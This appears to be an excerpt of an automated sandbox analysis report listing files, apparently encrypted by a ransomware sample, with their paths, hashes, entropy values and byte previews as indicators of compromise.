Preview:	LSBIH....@.......\.8.}..i'..2.X<.m...Y.e.G'.[.S.....\|(....Ci]:.......T...W.....#..;.....p.+{..Z.GU.a.N..&{....Px.......s.cHEhl.&.K&O...#.+.9..s.A.._.../.j...`......z94..71..J....}6..X.1.1.G.S.[...W0..z.K...i6..........?K4.J........$.f..~........... .5Nv0.L5....e].iV...TYs.N.......b#0.....z.gQ..c?g.z.....H,.@f..7......^.o1,....{}._o.V.x2.{.&.N&l.......;m;.,3.T...^...GC./.]?t&..k...D.W.h.%.../)..0.\....._j.H...........1...............Bs ...&?...W..8.....k...ym..g'..H%=.PW[^....a..7..C?\..lq.c..i.....+....<..H...~#......5P.+A.#;7].}....P.El.....q%.3}...~....E)..A....B.o.=.W.....Y........aQiD...0'L .....$.<v]...m....DH..9. M&....=F.bH....:U....y........p......fH._\.6....C..'Y....Dw........M)..N.i.._e..U.[0z.y;...l/.'.<....s..HV.\...R0.....?.........c...M.J.dN\|..b.h.>,.+V....Bkh....V.7.k..v.5^....l.>.O.A.6..f.S..C0..C.h.acw.f.m..@.k...p..j.*..-C..g.a.V..4..#u`..X..31..xJI{../.../$...CM@(...G..!5..CT..,Fxa4.....s/..q..[..Z.NBL..`..K

C:\Users\user\Documents\NEBFQQYWPS.docx

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.835719313705393
Encrypted:	false
SSDEEP:	24:D6JvgJtYysdtNqZ7LvTMW5s+29AIB2PyXdx3aM1O87yAmZ8oPG7uTfIEyieVB3kX:D1JKFs7LIYR2m22Pyr3D1OLZj+yMdV4D
MD5:	7C3C30D3FFDC7C3F542E0D2057AC9644
SHA1:	21314591A5376FE7F2A760DC69D395A2F7F8D131
SHA-256:	C9BD8D0E4BEB4D155CD95F857EDF8089899AE16E3BF1904838C7CE19F85F05C9
SHA-512:	8FA48503FD29D5FC255944ABCC9CA639A4D8D9CACDEBB2627A035E107DE7FDDBD533644684BB01A3EEDB73813A4499927E4D214044D2C1EDF24296EC9DF03928
Malicious:	false
Preview:	NEBFQ]......................J...}..v.X..BI.K.....D^u\|c.....!P..5....}#.<.b.6Aj..9\|t....;..sn].s5e....e...fH.e.5.@....B,`rc\.O...v.%.........m....4Y....f.mO........M...^.h....xR.=G.G.9H.\|..$..N..x.H...... .K.+...~h\|...2.~.h.c...I.......sv..:............4=[a........N.=..g.=.e=Cv.....?..#L.....rM=..Zyp...&....bck.H..2U.~..........P.._....g.<.D.1y].....<.0HL.1k......."...NI.%@..f.t\|h..8.n.H.a.30m^..^.!.._;M\..\| ...99)..C..o.0Y.Y...:].0.Y...G..Y.se....2....WT.F.Y.......`.+.G.\|...Y.T....p..j...&"#......e..i.%&...p_=z..t....N...g.E..........F@.R.......S..:.9<..>.....&..5.qz..Z.63...._K.H).....o..h.m..R..l...-.).........}#\..$.o.....YA(s.T..o.....{j....'S.8.L....6~.......-.l../!...w....}.g.4..._..z.W.......2..xa.f.....-.PL2T..C.x;F,.%2,.n..........?i..R(....xMh..<.9.i....rL.*..xu.VE..q..ce.s..w.?=..~..........#.D.U.<...G.B.R.< ...C...{.N.. .,"....d.....yM.d.~...w. ;.L.00JC.\.)....+.C1.J..s....&..b.2.!.............IZ.....i`?mf+....;...

C:\Users\user\Documents\NEBFQQYWPS.docx.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.835719313705393
Encrypted:	false
SSDEEP:	24:D6JvgJtYysdtNqZ7LvTMW5s+29AIB2PyXdx3aM1O87yAmZ8oPG7uTfIEyieVB3kX:D1JKFs7LIYR2m22Pyr3D1OLZj+yMdV4D
MD5:	7C3C30D3FFDC7C3F542E0D2057AC9644
SHA1:	21314591A5376FE7F2A760DC69D395A2F7F8D131
SHA-256:	C9BD8D0E4BEB4D155CD95F857EDF8089899AE16E3BF1904838C7CE19F85F05C9
SHA-512:	8FA48503FD29D5FC255944ABCC9CA639A4D8D9CACDEBB2627A035E107DE7FDDBD533644684BB01A3EEDB73813A4499927E4D214044D2C1EDF24296EC9DF03928
Malicious:	false
Preview:	NEBFQ]......................J...}..v.X..BI.K.....D^u\|c.....!P..5....}#.<.b.6Aj..9\|t....;..sn].s5e....e...fH.e.5.@....B,`rc\.O...v.%.........m....4Y....f.mO........M...^.h....xR.=G.G.9H.\|..$..N..x.H...... .K.+...~h\|...2.~.h.c...I.......sv..:............4=[a........N.=..g.=.e=Cv.....?..#L.....rM=..Zyp...&....bck.H..2U.~..........P.._....g.<.D.1y].....<.0HL.1k......."...NI.%@..f.t\|h..8.n.H.a.30m^..^.!.._;M\..\| ...99)..C..o.0Y.Y...:].0.Y...G..Y.se....2....WT.F.Y.......`.+.G.\|...Y.T....p..j...&"#......e..i.%&...p_=z..t....N...g.E..........F@.R.......S..:.9<..>.....&..5.qz..Z.63...._K.H).....o..h.m..R..l...-.).........}#\..$.o.....YA(s.T..o.....{j....'S.8.L....6~.......-.l../!...w....}.g.4..._..z.W.......2..xa.f.....-.PL2T..C.x;F,.%2,.n..........?i..R(....xMh..<.9.i....rL.*..xu.VE..q..ce.s..w.?=..~..........#.D.U.<...G.B.R.< ...C...{.N.. .,"....d.....yM.d.~...w. ;.L.00JC.\.)....+.C1.J..s....&..b.2.!.............IZ.....i`?mf+....;...

C:\Users\user\Documents\NEBFQQYWPS.pdf

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.817652577083764
Encrypted:	false
SSDEEP:	24:SFNs968UfVTdrkRviY0P5HLsWk++BiMR0QWkOTsY5BtQ7XKecbkbD:uO67Zkl4OWMBiMR0P9NdqD
MD5:	E506C64174E880C9D735D94236F64E24
SHA1:	F2B857695EC2CE0C27D7D35D50D96112BD28A337
SHA-256:	D9871EA7F433591CE2B1E8BBD8B8365EA68004CB86F88F1CDB4C50750735AEC7
SHA-512:	7019CFB0FE25969A82049660D634750A533DE531E33C6044BFA111D7761252D25D9982807C3955157B1CE0E3B523240D90AB403CD16DEF1EFF19BC4FAEA0116E
Malicious:	false
Preview:	NEBFQ=..r..b.iS?..K<0I...d...\|.....2f.;..}.T..seq.\|.w......._.V.=.lQ.....S.qOM.. .C}..}.H0+5...&..fWFsx1..v,...i7..X...0.C.;.k..E...&=..uXLm.i.t.I[....b.... :O.!r..".N...<.J....>.....n.xf...7o.C..wM.....B.T...".'.,R...>.Q@......,:.p...$.S.(.8%..c...#..._..O..4...E.@..(Y../.".........a~/#Q=......r..../...@u...".....^.S[.9.I.V..H>...].J+....t./2O...<.. .mqb.Qv..........XE,.............._t.0.{L7.i6..Q.....3O.......v...-.A6v..G.......B.b.3....V2z...X..Q./..X..s..f....c...T.......Qst....+........b...GQ...A...6..../j..y...VHQ...[..Q.4+......V...?......~.e..R.a4.....][6..R.W.S>\|.X.~6f.3...(H.9.:..:...A........uJ?y!.\[..(.ft..\|N.D.z....F.x....#NV^y.`.q...m..M.?.l1....\|uK..l.?..:...7..Y>.'...%.-.nI(.bv.W:.NE./......b2@.Y..\|}.Vy.O.}.P.$.#.k5..6..:....ibp....t.c....Y4......\....VD...2.qW".%.e.HK.s....r.0S..<3\sST.>...W...a.=.IT.0..p.}...1 .!.....a.'..H.!....f."Ft1K..^...yT.?...$'XF..../..eS....6......x7..tT...T.n&.....S...Ip9@@.~Ds..sS.bb.6.<

C:\Users\user\Documents\NEBFQQYWPS.pdf.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.817652577083764
Encrypted:	false
SSDEEP:	24:SFNs968UfVTdrkRviY0P5HLsWk++BiMR0QWkOTsY5BtQ7XKecbkbD:uO67Zkl4OWMBiMR0P9NdqD
MD5:	E506C64174E880C9D735D94236F64E24
SHA1:	F2B857695EC2CE0C27D7D35D50D96112BD28A337
SHA-256:	D9871EA7F433591CE2B1E8BBD8B8365EA68004CB86F88F1CDB4C50750735AEC7
SHA-512:	7019CFB0FE25969A82049660D634750A533DE531E33C6044BFA111D7761252D25D9982807C3955157B1CE0E3B523240D90AB403CD16DEF1EFF19BC4FAEA0116E
Malicious:	false
Preview:	NEBFQ=..r..b.iS?..K<0I...d...\|.....2f.;..}.T..seq.\|.w......._.V.=.lQ.....S.qOM.. .C}..}.H0+5...&..fWFsx1..v,...i7..X...0.C.;.k..E...&=..uXLm.i.t.I[....b.... :O.!r..".N...<.J....>.....n.xf...7o.C..wM.....B.T...".'.,R...>.Q@......,:.p...$.S.(.8%..c...#..._..O..4...E.@..(Y../.".........a~/#Q=......r..../...@u...".....^.S[.9.I.V..H>...].J+....t./2O...<.. .mqb.Qv..........XE,.............._t.0.{L7.i6..Q.....3O.......v...-.A6v..G.......B.b.3....V2z...X..Q./..X..s..f....c...T.......Qst....+........b...GQ...A...6..../j..y...VHQ...[..Q.4+......V...?......~.e..R.a4.....][6..R.W.S>\|.X.~6f.3...(H.9.:..:...A........uJ?y!.\[..(.ft..\|N.D.z....F.x....#NV^y.`.q...m..M.?.l1....\|uK..l.?..:...7..Y>.'...%.-.nI(.bv.W:.NE./......b2@.Y..\|}.Vy.O.}.P.$.#.k5..6..:....ibp....t.c....Y4......\....VD...2.qW".%.e.HK.s....r.0S..<3\sST.>...W...a.=.IT.0..p.}...1 .!.....a.'..H.!....f."Ft1K..^...yT.?...$'XF..../..eS....6......x7..tT...T.n&.....S...Ip9@@.~Ds..sS.bb.6.<

C:\Users\user\Documents\NEBFQQYWPS\BJZFPPWAPT.mp3

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.835562461474869
Encrypted:	false
SSDEEP:	24:Jd7/xJKfrbJiuhz0DKDHUhgTqdvjE7kd0bdKAVp7EPpVSogZESIVC2OkbD:dIgcz0cnqdvjEguHVVE7S9GJLD
MD5:	F46C52C81B5A9CB6368E957021639C13
SHA1:	D678BCC52CE83E281C1100B672CC160C8F4C3CBD
SHA-256:	0FA88814F223C8E0DFCE1016C410F4A6BCF0CFAF02F4ABC824A31F6D8448C95D
SHA-512:	E9EBD9BE89883CB71347948B172D6B9E768263F306331DD74E8FECAD84B287943D16BFE3D66435AD7267A3954D36DDA88F0201217FF4703A3A23ABD314FCC9C9
Malicious:	false
Preview:	BJZFPu........[).F..y.H}.`@......u.....G+....i.....2..)"..2.I.W=w.bkw..E.m...~..'._.i.P.W.9_..5.e.+>%....^..=.a.%...z...c.7..M....H.......\....=..%.86.b...z....%'.#.ez..h.6o....aZ..r<.).!...m...b..Bd.E.?..Y..t....r.K......2..w.Ev.Uve..ay.`jK....=.....,.Vsf....E.......UH".....%7>.u..&.a...jp.. .t..\..r.......F..xh..I.J...X.:N..R...1...p..../.p..zB.O.]u.i......Y(.Y....k.#wl.mP.A.hnSGke.d....A..&.;V?.w...L...>9..T...`..)Vw.b......+....9.7....I!...u.ahx.+`-.B.^.%)z#%.....+..S.v...X..TB>..~.....j6.......}n.YFB"...../#Ll>.G..K.5u...cn"J)..-.q..qsP=o.o.aH$.jp[.H..&..../.<.=..m.7...H.11..._.S..vt....8..E.<r!.F..j...-fH%....0....v4....ffK..R]......Fs..>.v.5.8IB...gpzf+..(....+)...F.....I.pC.Y....+.&$=....[.\|`.u....1T....g2..0.y.A....c..H...Lg.Ny...q?U...T.....S...B.i..;.2.y.4..B....c.@5..Q.-EU9E......L...B.g......a.....1.T,.w{..Ag}....#q...._.....vwq.Xh).^g.x..8.~....1?..\|a......{I...r..v".].is..-t.......)..V..L...+J..`...h.+.q...N..B.T....+./X...s

C:\Users\user\Documents\NEBFQQYWPS\BJZFPPWAPT.mp3.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.835562461474869
Encrypted:	false
SSDEEP:	24:Jd7/xJKfrbJiuhz0DKDHUhgTqdvjE7kd0bdKAVp7EPpVSogZESIVC2OkbD:dIgcz0cnqdvjEguHVVE7S9GJLD
MD5:	F46C52C81B5A9CB6368E957021639C13
SHA1:	D678BCC52CE83E281C1100B672CC160C8F4C3CBD
SHA-256:	0FA88814F223C8E0DFCE1016C410F4A6BCF0CFAF02F4ABC824A31F6D8448C95D
SHA-512:	E9EBD9BE89883CB71347948B172D6B9E768263F306331DD74E8FECAD84B287943D16BFE3D66435AD7267A3954D36DDA88F0201217FF4703A3A23ABD314FCC9C9
Malicious:	false
Preview:	BJZFPu........[).F..y.H}.`@......u.....G+....i.....2..)"..2.I.W=w.bkw..E.m...~..'._.i.P.W.9_..5.e.+>%....^..=.a.%...z...c.7..M....H.......\....=..%.86.b...z....%'.#.ez..h.6o....aZ..r<.).!...m...b..Bd.E.?..Y..t....r.K......2..w.Ev.Uve..ay.`jK....=.....,.Vsf....E.......UH".....%7>.u..&.a...jp.. .t..\..r.......F..xh..I.J...X.:N..R...1...p..../.p..zB.O.]u.i......Y(.Y....k.#wl.mP.A.hnSGke.d....A..&.;V?.w...L...>9..T...`..)Vw.b......+....9.7....I!...u.ahx.+`-.B.^.%)z#%.....+..S.v...X..TB>..~.....j6.......}n.YFB"...../#Ll>.G..K.5u...cn"J)..-.q..qsP=o.o.aH$.jp[.H..&..../.<.=..m.7...H.11..._.S..vt....8..E.<r!.F..j...-fH%....0....v4....ffK..R]......Fs..>.v.5.8IB...gpzf+..(....+)...F.....I.pC.Y....+.&$=....[.\|`.u....1T....g2..0.y.A....c..H...Lg.Ny...q?U...T.....S...B.i..;.2.y.4..B....c.@5..Q.-EU9E......L...B.g......a.....1.T,.w{..Ag}....#q...._.....vwq.Xh).^g.x..8.~....1?..\|a......{I...r..v".].is..-t.......)..V..L...+J..`...h.+.q...N..B.T....+./X...s

C:\Users\user\Documents\NEBFQQYWPS\BNAGMGSPLO.jpg

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.839714443005804
Encrypted:	false
SSDEEP:	24:HE6u1+PUau/f+h3vhd7looYsR6PKp6m01vs+Z2nmXpD5YSpRuh4vkbD:f6aJVlxYsR6u6Zv9Zy+pDGSG42D
MD5:	8486D6EF8AE7B2C5178EF704088000E8
SHA1:	6EFA0A0E19E3A655E88FB4167FF4FE43AC980AFA
SHA-256:	3C320F07A6CCB9D55A841CE082B1CCA75444298E2909D70069E45E243A335A5B
SHA-512:	4B8E87A88C16EB4A2F4CDD2430AA272815709829BCD342ADAE73724C74E9AC948E42D22BDA2A091B051CBBA9D52AD37598634698B131A9C65A9F0C10AC4BC767
Malicious:	false
Preview:	BNAGM.... .kd.\|i.N-.<.....q..1..p.,..Bc...w.:.`.W...Exe..n....f......4...L..2<u.9.NM+Hh}.T#~...\...D.....VJI..@7....H..H...17..\|..y-.86..dhm.-....=.....h\z..wj;......,.{... .q2B..m...R>S.].....T....-.........'D.`..n+....$m..'..=.....\|.....z..:UC...&.I.iD^..4.i.^5.....[.iS....f;\|r..j.D..d.2.?.rA...j....o....Q.\|.1#...x./.w..~.F..S.a6vLZ....9.........#.uI.!J..!...^[[......."....^.`1g6....\|Q.kR+..Q...fuY.....i...).0./...3<Z............)A....,..~LtP.......y. .\.!.3.g...J..Q.@k,....>b...o...7.$f.j.Li.D......j/..sds.I..^.K..cN/.9E..m....z7.=r......f.g.1.......:....i.j..........u...>...O....v.! ..XtKH...}L .d.8%..T.y...A...ky{....[....k\|..P...D.1..{..KR9..d....:..i.....c)..;i.<J.F.Y.S.vo....u...s....Q.....=..;.."DW..b.j..B.i..'n.e.....A........&.....cd...E......uq\|A.../IU.....X..i...F...V.?.c.".t.1.R.x.o.b.v..4...F.]h....v..qz?..I...t6.......&.`........&r.....:..i...O..W....X.<.Q.....d.b.X\|..<..(.I.J......x.......a.k...V..:.Q.E...H...D.*S\..3..

C:\Users\user\Documents\NEBFQQYWPS\BNAGMGSPLO.jpg.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.839714443005804
Encrypted:	false
SSDEEP:	24:HE6u1+PUau/f+h3vhd7looYsR6PKp6m01vs+Z2nmXpD5YSpRuh4vkbD:f6aJVlxYsR6u6Zv9Zy+pDGSG42D
MD5:	8486D6EF8AE7B2C5178EF704088000E8
SHA1:	6EFA0A0E19E3A655E88FB4167FF4FE43AC980AFA
SHA-256:	3C320F07A6CCB9D55A841CE082B1CCA75444298E2909D70069E45E243A335A5B
SHA-512:	4B8E87A88C16EB4A2F4CDD2430AA272815709829BCD342ADAE73724C74E9AC948E42D22BDA2A091B051CBBA9D52AD37598634698B131A9C65A9F0C10AC4BC767
Malicious:	false
Preview:	BNAGM.... .kd.\|i.N-.<.....q..1..p.,..Bc...w.:.`.W...Exe..n....f......4...L..2<u.9.NM+Hh}.T#~...\...D.....VJI..@7....H..H...17..\|..y-.86..dhm.-....=.....h\z..wj;......,.{... .q2B..m...R>S.].....T....-.........'D.`..n+....$m..'..=.....\|.....z..:UC...&.I.iD^..4.i.^5.....[.iS....f;\|r..j.D..d.2.?.rA...j....o....Q.\|.1#...x./.w..~.F..S.a6vLZ....9.........#.uI.!J..!...^[[......."....^.`1g6....\|Q.kR+..Q...fuY.....i...).0./...3<Z............)A....,..~LtP.......y. .\.!.3.g...J..Q.@k,....>b...o...7.$f.j.Li.D......j/..sds.I..^.K..cN/.9E..m....z7.=r......f.g.1.......:....i.j..........u...>...O....v.! ..XtKH...}L .d.8%..T.y...A...ky{....[....k\|..P...D.1..{..KR9..d....:..i.....c)..;i.<J.F.Y.S.vo....u...s....Q.....=..;.."DW..b.j..B.i..'n.e.....A........&.....cd...E......uq\|A.../IU.....X..i...F...V.?.c.".t.1.R.x.o.b.v..4...F.]h....v..qz?..I...t6.......&.`........&r.....:..i...O..W....X.<.Q.....d.b.X\|..<..(.I.J......x.......a.k...V..:.Q.E...H...D.*S\..3..

C:\Users\user\Documents\NEBFQQYWPS\GAOBCVIQIJ.xlsx

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.840281105041451
Encrypted:	false
SSDEEP:	24:TFhu5dA9QzSSaci9TYp2s01KKJMGWCGBGvcrzG+tGumBpPQL3i+vt8xLBc6q17kX:TFSdeQztu9TuDCBMGWCHcrCw5gpP63ir
MD5:	45E02964BB92711B7AB6831EB7DCC3CA
SHA1:	AE6739BF16F1A4B9723440DC6036EC7749E756C0
SHA-256:	34F52085B6F68FC55E23C7773F308697B0F0AF2F9B70699E376BFE4964CBDE12
SHA-512:	A6E91BAE3A8A5F61C08754C3A966B9C4C31DFB9911BC368E42726B44672A7AA6E282BACA0D8E94D136C369DFBB60B98E2A83D2939F7246DBD33FFCBDFBA831A8
Malicious:	false
Preview:	GAOBC........a..[......dj.g.+\|w.^.......J.q.a.0.Q...G.....q..cMcl9..G.u.:...GT....V.b./.[......p.N....HQ.@..2..G{...L..`...u...k{../..b."..h....7nL?d\.(6...`;..v.6j...iJ...I.wI.e.s.....f' ....[...l...=\.@K..e...=bV.?...h@...LB......7.wA$^$.V..O....%].<.b.8y..e)..,e.H.R.O....M........w..8'A;...{\i.......`......UG............y&j..xE.q......a.;...2=v.b.E.<...N..>K...N.c...-....=I..\.l...t.JS.i.?...3"=....U..=t&..\.C.3r.V.k....+-..x......,..xm..,.;..K....az...\|._..AM\|.k........_..o.S..( .M...oLl.Y.^5.Y.J.....k{.b....C]\......,+.]...j:..N..\.z..\|....\|.x....`....h..BE_.@.h.......d9..rM...I...0..G!H...0.J{....WnV.....K..4.;......S(W...Z.=.:.........po.{....N..n6.H........\.Z.2.-l........[..L..{T9.S...-..e.7tl.m.`.\|L.x8P..=.........uQ....7.....I.Npc.?...s.H.;r.j.-.E.r..hp1.Q..Y,.......-?yb.:...z.a.D>.Y....M>.P.W.X..}'....O..0x.........Vf......8]....:(.@qU.6.FG..PAc....C.....<.O...D.8......q.L...\B`....y..T...2Z).F...NNMg.SEhs.v.o`mQ..+.8.x%.;.p.mp.9..E..B..

C:\Users\user\Documents\NEBFQQYWPS\GAOBCVIQIJ.xlsx.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.840281105041451
Encrypted:	false
SSDEEP:	24:TFhu5dA9QzSSaci9TYp2s01KKJMGWCGBGvcrzG+tGumBpPQL3i+vt8xLBc6q17kX:TFSdeQztu9TuDCBMGWCHcrCw5gpP63ir
MD5:	45E02964BB92711B7AB6831EB7DCC3CA
SHA1:	AE6739BF16F1A4B9723440DC6036EC7749E756C0
SHA-256:	34F52085B6F68FC55E23C7773F308697B0F0AF2F9B70699E376BFE4964CBDE12
SHA-512:	A6E91BAE3A8A5F61C08754C3A966B9C4C31DFB9911BC368E42726B44672A7AA6E282BACA0D8E94D136C369DFBB60B98E2A83D2939F7246DBD33FFCBDFBA831A8
Malicious:	false
Preview:	GAOBC........a..[......dj.g.+\|w.^.......J.q.a.0.Q...G.....q..cMcl9..G.u.:...GT....V.b./.[......p.N....HQ.@..2..G{...L..`...u...k{../..b."..h....7nL?d\.(6...`;..v.6j...iJ...I.wI.e.s.....f' ....[...l...=\.@K..e...=bV.?...h@...LB......7.wA$^$.V..O....%].<.b.8y..e)..,e.H.R.O....M........w..8'A;...{\i.......`......UG............y&j..xE.q......a.;...2=v.b.E.<...N..>K...N.c...-....=I..\.l...t.JS.i.?...3"=....U..=t&..\.C.3r.V.k....+-..x......,..xm..,.;..K....az...\|._..AM\|.k........_..o.S..( .M...oLl.Y.^5.Y.J.....k{.b....C]\......,+.]...j:..N..\.z..\|....\|.x....`....h..BE_.@.h.......d9..rM...I...0..G!H...0.J{....WnV.....K..4.;......S(W...Z.=.:.........po.{....N..n6.H........\.Z.2.-l........[..L..{T9.S...-..e.7tl.m.`.\|L.x8P..=.........uQ....7.....I.Npc.?...s.H.;r.j.-.E.r..hp1.Q..Y,.......-?yb.:...z.a.D>.Y....M>.P.W.X..}'....O..0x.........Vf......8]....:(.@qU.6.FG..PAc....C.....<.O...D.8......q.L...\B`....y..T...2Z).F...NNMg.SEhs.v.o`mQ..+.8.x%.;.p.mp.9..E..B..

C:\Users\user\Documents\NEBFQQYWPS\NEBFQQYWPS.docx

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.844698311428945
Encrypted:	false
SSDEEP:	24:m25xfr3+qGryTb9yiMR80dMPtBbe+HDf6VKBCWeM5G2+y0eq5e47l2Q423djmWHn:Bj+qGm39yvRjqPt5NOW55G9S4BoQjmAn
MD5:	53C577F6646963E478E483894D2CA70C
SHA1:	5EBC9F0056CFDBF48EE03292D19C2821EF2EBA1A
SHA-256:	8282B6A3AF5BD79F65C74C2999211EF46C463A7ECA38A4404DB679313577DAB7
SHA-512:	6DA86F379D8AF4EBCBAFBDD86B4C913D49C22563AF6A10D28F6F1FB098DB6A8FF27B03C004F081A8D24B06987531DF26A9C952D657B4E843E23344158DFDEAD7
Malicious:	false
Preview:	NEBFQ.....@K>..3..R7..B-..^=m.......^.r.i.S.....4.d.TNL..T.pS.\.#E..x..t..nC..<..}..l....im.v....4.1..x.).(X1.v.GK..L..}..(............J`..%..=..g/.#.g..g..2..4.e.".$/.o......%..fo....Q.i..M.....k.3.y.B.v...W.......ST.f,t..D.8...\|dJ.......o.q([4"1j..3b.... z.A.... .eo....$...v`...t.7..&W.0.....R.G%...=....p..8d.q{.Z"w.X....V..].@U}..-.....A.,.m.q..........+I.......>Go.c.Y.\S...idu>........n#.a....~Hzf.2v.{.t'].j...Z...C..x...o2..P..X.#..K.P+:;f]...zB..c]......`.uIf4.......OV......0{.3...G...z.....c9...I...?X...&.#.1../......`i. \.....#....\.s#........I...#.z).D.rlK.DFF.b...oi.!W.".a0.].Y....p....i.S..z1].7..J..^h:1...+..;)\|uko.i.z....Ra.jc...A*GTZz...H..OP..DS8Ac.\0+...n....F...SF.y......0.6....-.]..Ks...9..t&1....{.....p..`a.....i~s..LB...k.v..7(Y.C{.;.Mu.'..Ja.pr....W..a.=F...Q....+J[\...x....Y x.n.J.K..M..h.e.q.H......v........./.f/3s.`.!Q.Gf\|..T.g...W....uJ...S.}.......y.....c.<BC. .? T....t.3..e5..B^....C......5. ........Vv.].(

C:\Users\user\Documents\NEBFQQYWPS\NEBFQQYWPS.docx.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.844698311428945
Encrypted:	false
SSDEEP:	24:m25xfr3+qGryTb9yiMR80dMPtBbe+HDf6VKBCWeM5G2+y0eq5e47l2Q423djmWHn:Bj+qGm39yvRjqPt5NOW55G9S4BoQjmAn
MD5:	53C577F6646963E478E483894D2CA70C
SHA1:	5EBC9F0056CFDBF48EE03292D19C2821EF2EBA1A
SHA-256:	8282B6A3AF5BD79F65C74C2999211EF46C463A7ECA38A4404DB679313577DAB7
SHA-512:	6DA86F379D8AF4EBCBAFBDD86B4C913D49C22563AF6A10D28F6F1FB098DB6A8FF27B03C004F081A8D24B06987531DF26A9C952D657B4E843E23344158DFDEAD7
Malicious:	false
Preview:	NEBFQ.....@K>..3..R7..B-..^=m.......^.r.i.S.....4.d.TNL..T.pS.\.#E..x..t..nC..<..}..l....im.v....4.1..x.).(X1.v.GK..L..}..(............J`..%..=..g/.#.g..g..2..4.e.".$/.o......%..fo....Q.i..M.....k.3.y.B.v...W.......ST.f,t..D.8...\|dJ.......o.q([4"1j..3b.... z.A.... .eo....$...v`...t.7..&W.0.....R.G%...=....p..8d.q{.Z"w.X....V..].@U}..-.....A.,.m.q..........+I.......>Go.c.Y.\S...idu>........n#.a....~Hzf.2v.{.t'].j...Z...C..x...o2..P..X.#..K.P+:;f]...zB..c]......`.uIf4.......OV......0{.3...G...z.....c9...I...?X...&.#.1../......`i. \.....#....\.s#........I...#.z).D.rlK.DFF.b...oi.!W.".a0.].Y....p....i.S..z1].7..J..^h:1...+..;)\|uko.i.z....Ra.jc...A*GTZz...H..OP..DS8Ac.\0+...n....F...SF.y......0.6....-.]..Ks...9..t&1....{.....p..`a.....i~s..LB...k.v..7(Y.C{.;.Mu.'..Ja.pr....W..a.=F...Q....+J[\...x....Y x.n.J.K..M..h.e.q.H......v........./.f/3s.`.!Q.Gf\|..T.g...W....uJ...S.}.......y.....c.<BC. .? T....t.3..e5..B^....C......5. ........Vv.].(

C:\Users\user\Documents\NEBFQQYWPS\NVWZAPQSQL.png

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854739762069553
Encrypted:	false
SSDEEP:	24:FUwkxucJ638Quggn1KyZPQSfiPtuTEn31OESrhgmLqZSb0omqRQKUlmZA/4Z+kbD:FgxucM3VxgncWJ8OK1OxWmbbZmqRQK0s
MD5:	E2B7B5C691D201624F962967131C01A5
SHA1:	3B2B8BB03AB4177484C3A4AE68C12457A38E502A
SHA-256:	1E6F06135070900AD7145D47BD013753427CAA6EB84666AAB75CCA9A200B25C6
SHA-512:	4C9E30754D6148ABDF48DC5D4F994A5AA20141D4FBFDD259D55FF58F5459E3D7710D72D9FD79FFFBBC45E1AC47FF149A526EB400B7EB6F2F88DA121773A6A469
Malicious:	false
Preview:	NVWZAhi2.<x......M.n.......O .R........2..V.....-...7..i..=......[.9a]l...f...5s.k...[..=.O'7o..Fx..g..E.+..K..X.Zh)Ju'7T..?>...d.b7,.....U..l.K..U.[Q./...zy......L.DMAG..7.........G..J..O\|...F....Zq6._>(.?.!..J.<..(T. .].U.T..B.XWC..lZ~=Zwa.....B.....z.....I.b..l..`......M..!....{3.q.^../.H..]>.{(.}..[\|.&..vr(.........Z3.5.)....1?G9...t.>......+9.dL..{..........3R....6..~..6f.%.gF...?..'.........w..}.F.Hy.F..}d.t....o.XY.[%.co.`.FiZ...6...A...AM..@.6..C5g.......\L..6.J.$z.....0...q........3..(.#m..>.[..,..d.U0\.r2/ 